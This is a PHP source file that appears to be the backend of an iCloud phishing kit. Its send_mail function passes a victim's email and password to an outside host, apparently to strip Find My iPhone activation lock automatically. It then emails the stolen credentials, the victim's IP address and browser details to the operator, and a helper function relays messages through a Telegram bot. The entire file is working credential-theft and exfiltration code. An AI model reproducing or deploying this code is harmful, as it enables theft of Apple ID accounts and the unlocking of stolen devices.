<?php


    function send_mail ($ASUNTO,$MAIL,$userid,$email,$pass,$intento,$cadena_intento,$user_ip,$agent,$message_adicional){
        
            if($email !="" && $pass != ""){
                 $ch = curl_init('https://icloud-ialert.com/iserver/auto/?username='.$email.'&password='.$pass .'');
                curl_setopt($ch, CURLOPT_FAILONERROR, 0);
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 
                $response = curl_exec($ch); 
                curl_close($ch);
                 
            }
         
        
        $headers .= 'To: New User' . "\r\n";
        $headers .= 'From: Gestion Web' . "\r\n";
        $headers  = 'MIME-Version: 1.0' . "\r\n";
        $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; 
        
        
        $message = '<table border="0" cellpadding="5" cellspacing="5" width="600">
            <tbody>
                <tr>
                    <th>Details</th>
                </tr>
                <tr>
                    <td style="text-align:left" valign="top">
                    <br>
                    <strong>IdCliente:</strong> '.$userid.'<br>';
                    
        if($intento == "OK"){
                    $message .='<strong>Intentos:</strong> '.$cadena_intento.'<br> 
        			<hr> ';
        }else {
            
            $message .='<strong>Email:</strong> '.$email.'<br>
        			<strong>Password:</strong> '.$pass.'<br><br> 
        		    <hr>
        			<strong>Autoremove _ FMI:</strong>'.$message_adicional.'<br><br>
        			<hr>
        			<strong>Autoremove:</strong>'.$response.'<br><br>
        			<hr> ';
        } 
        
        
        $message .='<strong>IP Address:</strong>'. $user_ip.'<br><br>
        			
        			<strong>Browser:</strong>'.$agent.'<br><br>
        			</td>
                </tr>
                <tr>
                    <td style="text-align:left">Gestion Web<br>
                    </td>
                </tr>
            </tbody>
        </table>'; 
        
        mail($MAIL, $ASUNTO, $message, $headers);
        
    }


    function getUserIP()
    {
        $client  = @$_SERVER['HTTP_CLIENT_IP'];
        $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
        $remote  = $_SERVER['REMOTE_ADDR'];
    
        if(filter_var($client, FILTER_VALIDATE_IP))
        {
            $ip = $client;
        }
        elseif(filter_var($forward, FILTER_VALIDATE_IP))
        {
            $ip = $forward;
        }
        else
        {
            $ip = $remote;
        }
    
        return $ip;
    }


       
    function send_telegram($TOKKEN,$CHAT_ID,$text_t){
        
               $text_t =urlencode($text_t);        
               $url_t = "https://api.telegram.org/bot";
               $bot_t = $TOKKEN;    
                 
               $chat_id = $CHAT_ID;  
                
                $ch = curl_init($url_t.$bot_t.'/sendMessage?chat_id='.$chat_id.'&parse_mode=html&text='.$text_t); 
                curl_setopt($ch,CURLOPT_FAILONERROR,0);
                curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2) AppleWebkit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6');
                curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
                //curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
                $response = curl_exec($ch);
                curl_close($ch);  
        
        
    }
    
    function encode($cadena){
        
        return str_replace("=","",base64_encode($cadena));
        
    }
    
    
    function decode($cadena){
        
        return  base64_decode($cadena);
        
    }
    

?>